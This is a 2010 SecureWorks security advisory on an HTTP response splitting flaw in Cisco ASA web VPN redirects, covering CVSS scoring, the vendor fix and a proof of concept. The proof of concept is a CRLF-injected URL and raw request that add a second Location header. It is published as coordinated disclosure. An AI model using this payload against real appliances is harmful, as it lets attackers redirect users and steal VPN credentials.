Cisco ASA HTTP Response Splitting Vulnerability

SecureWorks Security Advisory SWRX-2010-001

Advisory Information

Title: Cisco ASA HTTP Response Splitting Vulnerability
Advisory ID: SWRX-2010-001
Advisory URL: http://www.secureworks.com/ctu/advisories/SWRX-2010-001
Date published: Thursday, June 24, 2010
CVE: CVE-2008-7257
CVSS v2 Base Score: 5 (Medium) (AV:N/AC:L/Au:N/C:N/I:P/A:N)
Date of last update: Thursday, June 24, 2010
Vendors contacted: Cisco Systems, Inc.
Release mode: Coordinated release
Discovered by: Daniel King, SecureWorks

Summary

Cisco Adaptive Security Appliance (ASA) is vulnerable to HTTP response splitting caused by improper validation of user-supplied input. A remote attacker could exploit this vulnerability using a specially-crafted URL to execute script in a victim's web browser within the security context of the Adaptive Security Appliance site.

Affected Products

Cisco ASA version 8.1(1) and earlier.

Vendor Information, Solutions and Workarounds

Cisco has released a fix to address this security flaw. Upgrade to ASA software version 8.1(2) to remediate this issue.

Release Notes are available at:
http://www.cisco.com/en/US/docs/security/asa/asa81/release/notes/asarn812.html

The following "Resolved Caveat" is listed in the Release Notes:
CSCsr09163 webvpn - +webvpn+/index.html http response splitting problem.

Details

When a user connects to the web interface of the ASA via HTTP, they are automatically redirected to the SSL encrypted version. The web server issues a 301 Moved Permanently status code to the connecting client to facilitate this redirection. If the client appends the carriage return (%0d) and line feed (%0a)

characters to the URL, the web server will parse these and allow the client to inject arbitrary HTTP response headers. Using this method, it is possible to inject a second Location header to the client. The client web browser will act on only the last Location header it encounters and redirect there.

SecureWorks Risk Scoring

Likelihood *(scale of 1-5, with 5 being high)*: 5 – This device is designed to be on the perimeter of a network to allow remote access.

Impact *(scale of 1-5, with 5 being high)*: 4 – Leveraging this attack could lead to stolen credentials and access to the VPN.

CVSS Severity (version 2.0)

Access Vector: Network exploitable
Access Complexity: Low
Authentication: Not required to exploit
Confidentiality Impact: None
Integrity Impact: Partial
Availability Impact: None
Impact Subscore: 2.9
Exploitability Subscore: 10
CVSS v2 Base Score: 5 (Medium) (AV:N/AC:L/Au:N/C:N/I:P/A:N)

Proof of Concept

URL:
```
http://x.x.x.x/%0d%0aLocation%3a%20http%3a%2f%2fwww%2egoogle%2ecom
```

Request:
```
GET http://x.x.x.x/%0d%0aLocation%3a%20http%3a%2f%2fwww%2egoogle%2ecom HTTP/1.0
Host: x.x.x.x
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
```

Response:
```
HTTP/1.0 301 Moved Permanently
Server: Web Server
Location: https://x.x.x.x/
Location: http://www.google.com
Content-Type: text/html
Content-Length: 125

<HEAD><TITLE>Moved</TITLE></HEAD><BODY><A HREF="https://x.x.x.x/
Location: http://www.google.com">Moved</A></BODY>
```

Revision History

1.0 Thursday, June 24, 2010 – Initial advisory release

PGP Keys

This advisory has been signed with the PGP key of the SecureWorks Counter Threat Unit(SM), which is available for download at http://www.secureworks.com/contact/SecureWorksCTU.asc.

About the SecureWorks Counter Threat Unit℠

Our expert team of threat researchers, also known as the SecureWorks Counter Threat Unit℠, identifies and analyzes emerging threats and develops countermeasures, correlations and SOC processes to protect clients' critical information assets. The CTU frequently serves as an expert resource for the media, publishes technical analyses for the security community and speaks about emerging threats at security conferences. Leveraging our security technologies and a network of industry contacts, the CTU tracks leading hackers and analyzes anomalous activity, uncovering new attack techniques and threats. This process enables the CTU to identify threats as they emerge and develop countermeasures that protect our clients before damage occurs.

About SecureWorks

SecureWorks is a leading provider of world-class information security services with over 2,800 clients worldwide. Organizations of all sizes, including more than ten percent of the Fortune 500, rely on SecureWorks to protect their assets, support compliance and reduce costs. The combination of deep security knowledge and expertise, purpose-built security technology and processes and excellent client service makes SecureWorks the premier provider of information security services. Positioned in the Leader's Quadrant of Gartner's Magic Quadrant for MSSPs, SecureWorks has been recognized by SC Magazine's readers with the "Best Managed Security Service" award for 2006, 2007, 2008 & 2009 and has been named to the Inc. 500, Inc. 5000 and Deloitte lists of fastest-growing companies.

Disclaimer